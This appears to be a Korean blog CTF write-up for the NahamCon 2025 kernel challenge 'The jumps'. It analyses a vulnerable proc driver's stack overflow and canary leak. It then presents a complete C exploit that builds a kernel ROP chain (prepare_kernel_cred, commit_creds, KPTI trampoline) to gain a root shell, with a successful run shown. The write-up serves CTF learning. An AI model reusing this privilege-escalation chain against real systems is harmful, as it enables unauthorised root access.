kernel exploit / NahamCon 2025 CTF - The jumps

2025. 5. 30. 22:03·Kernel Exploit/Exercise
728x90
반응형

1. intro

얼마전 열렸던 nahamcon에서 kernel exploit 문제가 나왔다.

그냥 쫄아서 던졌는데, 아무래도 열받아서 커널 익스 공부를 통채로 다시 해버림.

 

2. code 및 분석

2.1.  code

2.1.1. proc_read

ssize_t proc_read(file *file,char *buf,size_t count,loff_t *ppos)

{
  long lVar1;
  int iVar2;
  long in_GS_OFFSET;
  char tmp [32];
  
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  if (0x400 < count) {
    printk(&DAT_00100315);
  }
  __memcpy(proc_data,tmp,count);
  iVar2 = _copy_to_user(buf,proc_data,count);
  if (iVar2 == 0) {
    iVar2 = (int)count;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return (long)iVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

값을 user에게 전달한다.

tmp size가 32이나, 0x400 이하로는 모두 복사해주기 때문에 이를 이용해 leak이 가능하다.

 

2.1.2. proc_write

/* WARNING: Unknown calling convention */

ssize_t proc_write(file *file,char *buf,size_t count,loff_t *ppos)

{
  long lVar1;
  int iVar2;
  long in_GS_OFFSET;
  char tmp [32];
  
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  tmp[0] = '\0';
	...
  tmp[0x1f] = '\0';
  if (count < 0x400) {
    iVar2 = _copy_from_user(proc_data,buf,count - 1);
    if (iVar2 == 0) {
      __memcpy(tmp,proc_data,count);
      proc_data[count] = '\0';
    }
    else {
      count = 0xfffffffffffffff2;
    }
  }
  else {
    printk(&DAT_00100398,count,0x400);
    count = 0xffffffffffffffea;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return count;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

tmp를 초기화하고, 마찬가지로 값이 0x400보다 작으면 커널 영역에 값을 쓴다.

즉 overflow가 가능하다.

단, __stack_chk_fail, 즉 canary가 존재한다.

 

2.2. 분석

위 코드 영역과 더불어 init 파일은 아래와 같다.

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/ctf
#for f in $(ls *.ko); do
#    insmod $f
#done
sysctl -w kernel.perf_event_paranoid=1

cat <<EOF

Boot took $(cut -d' ' -f1 /proc/uptime) seconds


Welcome to the lost and found store! Please look around to see if you can find the key to the flag.


EOF
mkdir /home/user
adduser user -D
chmod 600 /flag
chown 0.0 /flag
insmod thejumps.ko
#su user
su root
#exec su -l ctf

원활한 분석을 위해 마지막 su user를 su root으로 수정하였다.

 

run.sh는 아래와 같다.

#!/bin/bash


read -p "Enter the link to your exploit binary: " link

wget $link -O exploit
chmod 777 ./exploit
sleep 1

cp ./exploit ./fs/exploit
pushd fs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
popd



qemu-system-x86_64 \
    -snapshot \
    -kernel /home/ctf/bzImage \
    -smp cores=1,threads=1 \
    -initrd /home/ctf/initramfs.cpio.gz \
     -append "console=ttyS0 debug earlyprintk=serial oops=panic nokaslr smap smep selinux=0 tsc=unstable net.ifname
s=0 panic=1000 cgroup_disable=memory" \
    -net nic -net user,hostfwd=tcp::${SSH_PORT}-:22 \
    -nographic \
    -m 128M \
    -monitor none,server,nowait,nodelay,reconnect=-1 \
    -cpu kvm64,+smap,+smep \
     2>&1

cpu로 kvm64를 쓰고, nopti 언급이 없기에 적용되어있다.

더불어 smap, smep 또한 적용되어있다.

따라서 아래의 방법을 사용할 수 있다.

2023.09.10 - [Kernel Exploit/Theory] - Kernel - KPTI 우회

 

Kernel - KPTI 우회

서론 KPTI는 유저 영역에서의 보호기법에는 없는 보호기법이다. 요약하자면, 커널 - 유저공간 간의 전환 시 최소한의 커널 주소만 포함하는 것이다. 이에 커널에서 유저공간으로 넘어갈때는 상관

wyv3rn.tistory.com

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

kernel bof

3.2. 공격 준비

위에 모든 것을 다 설명해버렸다.

나머지는 gadget들만 적절히 구하면 된다.

 

4. exploit

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int kbuf_size = 32;
int global_fd;

void open_dev()
{
        global_fd = open("/proc/shellcode_device", O_RDWR);
        if (global_fd < 0)
        {
                puts("[!] Failed to open device");
                exit(-1);
        }
        else
        {
                puts("[*] Opened device");
        }
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(void)
{
        __asm__ __volatile__(
                        "mov %cs, user_cs;"
                        "mov %ss, user_ss;"
                        "mov %rsp, user_sp;"
                        "pushf;"
                        "pop user_rflags;"
                        );
        puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n)
{
        for (unsigned i = 0; i < n; ++i)
        {
                printf("%u: %lx\n", i, leak[i]);
        }
}

unsigned long leak;

void leak_addr(void)
{
        unsigned long arry[kbuf_size/8];
        memset(arry,0,sizeof(arry));
        read(global_fd, arry, sizeof(arry));
        leak = arry[3];
        printf("[*] Leak: %lx\n", leak);
}

void get_shell(void)
{
        puts("[*] Returned to userland");
        if (getuid() == 0)
        {
                printf("[*] UID: %d, got root!\n", getuid());
                char *argv[] = { "/bin/sh", NULL };
                char *envp[] = { NULL };
                execve("/bin/sh", argv, envp);
        }
        else
        {
                printf("[!] UID: %d, didn't get root\n", getuid());
                exit(-1);
        }
}

unsigned long user_rip = (unsigned long)get_shell;


unsigned long swapgs = 0xffffffff81c00eaa; //popf
unsigned long iretq = 0xffffffff81023cc2;
unsigned long rdiret = 0xffffffff81001518;
unsigned long rcxret = 0xffffffff81065913;
unsigned long rdiraxret = 0xffffffff8101c07b;
unsigned long prepare_kernel_cred = 0xffffffff810881d0;
unsigned long commit_cred = 0xffffffff81087e90;
unsigned long tramp = 0xffffffff81c00a45;

void exploit()
{
        unsigned long payload[kbuf_size/8+20];
        int offset = 4;
        payload[offset++] = leak;
        payload[offset++] = 0;
        payload[offset++] = rdiret;
        payload[offset++] = 0;
        payload[offset++] = prepare_kernel_cred;
        payload[offset++] = rcxret;
        payload[offset++] = 0;
        payload[offset++] = rdiraxret;
        payload[offset++] = commit_cred;
        payload[offset++] = tramp;
        payload[offset++] = 0;
        payload[offset++] = 0;
        payload[offset++] = (unsigned long)get_shell;
        payload[offset++] = user_cs;
        payload[offset++] = user_rflags;
        payload[offset++] = user_sp;
        payload[offset++] = user_ss;

        write(global_fd, payload, sizeof(payload));

        puts("[!] Error while exploit");
}

int main(void)
{
        save_state();
        open_dev();
        leak_addr();
        exploit();

        puts("[!] Error after exploit");

        return 0;
}
/ $ id
uid=1001(user) gid=1001 groups=1001
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./payload
[*] Saved state
[   15.028631] Proc device opened
[*] Opened device
[*] Leak: c915d6126b9e1200
[*] Returned to userland
[*] UID: 0, got root!
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0
/ # cat flag
flag{test1337}

이렇게 쉽게 풀 수 있는걸... 대회때는 쫄아서... 괜히 던졌다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Kernel Exploit > Exercise' 카테고리의 다른 글

kernel exploit payload - krop  (0) 2025.05.30
kernel exploit payload - kaslr  (0) 2025.05.30
kernel exploit payload - no mitigation  (0) 2025.05.30
Kernel exploit 기본 setting  (0) 2025.05.28
'Kernel Exploit/Exercise' 카테고리의 다른 글
  • kernel exploit payload - krop
  • kernel exploit payload - kaslr
  • kernel exploit payload - no mitigation
  • Kernel exploit 기본 setting
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    x64
    _IO_FILE
    hackerschool
    pwnable.kr
    rop
    libc
    FSB
    Format String Bug
    cryptohack
    vtable
    docker
    BOF
    la ctf
    Me
    64bit
    ROOT ME
    RTL
    32bit
    heap
    exploit education
    Buffer Overflow
    pwntools
    root
    dreamhack
    CANARY
    x86
    lob
    tcache
    phoenix
    root-me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
kernel exploit / NahamCon 2025 CTF - The jumps
상단으로

티스토리툴바